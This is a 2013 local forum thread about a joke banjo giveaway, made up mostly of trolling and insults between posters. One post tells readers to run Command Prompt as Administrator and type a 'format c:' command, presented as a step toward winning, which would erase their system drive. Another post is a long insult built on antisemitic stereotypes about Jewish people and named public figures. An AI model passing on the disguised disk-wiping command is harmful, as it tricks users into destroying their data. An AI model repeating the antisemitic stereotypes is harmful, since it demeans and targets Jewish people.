You can win a banjo!!

You can win a banjo!!

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Marietta, GA

#2 Jan 15, 2013
1. Find CMD in your Start Menu.
2. Right click, and "Run as Administrator"
3. Type this into the CMD window or copy-paste it.
"c:>format c:\"
5. Profit!
Called Out

Dallas, GA

#5 Jan 15, 2013
lighteredknot wrote:
I wanna banjo, I wanna banjo.
Then go buy one.
Eric 2016

Homer, GA

#6 Jan 15, 2013
You have very foul body odor from infrequent bathing, and sharting in your Depends on a regular basis.

You have yellow teeth caked with a heavy goo of pasty saliva.

You always expose at least 8 inches worth of crack aka "plumber's helper" when you squat down while searching for potato chip crumbs you dropped on your 1970's style carpet that is heavily stained and charitably worn and ripped.

You have that stereotypical lovely Jewish nose that makes you so photogenic that YOU people are usually CHOSEN to be talk show hosts, stand up comedians, politicians, or news reporters, etc., ala Geraldo, Jon Leibowitz aka Jon Stewart, Mike Wallace, Sandra Bernhard, Henry Kissinger, Bwarney Fwank, etc.

You are very physically effeminate, and detest anything that involves manual labor or sweating. Curiously though you are constantly bathed and lathered in your own sweat from the slightest amount of exertion such as getting off your worned and stained SOFA.
Eric 2016

Commerce, GA

#8 Jan 16, 2013
Sofa King Cool wrote:
<quoted text>
1. Get a ruler.
2. Measure the distance between your eyes.
3. Post measurement.
1. Get a ruler
2. Measure how the width of your huge arse.
3. Post measurement.
Eric 2016

Commerce, GA

#9 Jan 16, 2013
typo 2. Measure the width of your huge arse.

Kingston, NH

#11 Feb 28, 2013
Sofa King Cool wrote:
The person that posts the nicest things about me will be eligible to win a free banjo!!
It's open to everyone and I'm sure each of you will want to win the prize!
Second place is one free dental implant.
Third place is a porch refrigerator in pretty darn good condition!
You are the nicest man I've ever known

Atlanta, GA

#13 Mar 3, 2013
There's a lot of history surrounding the banjo.

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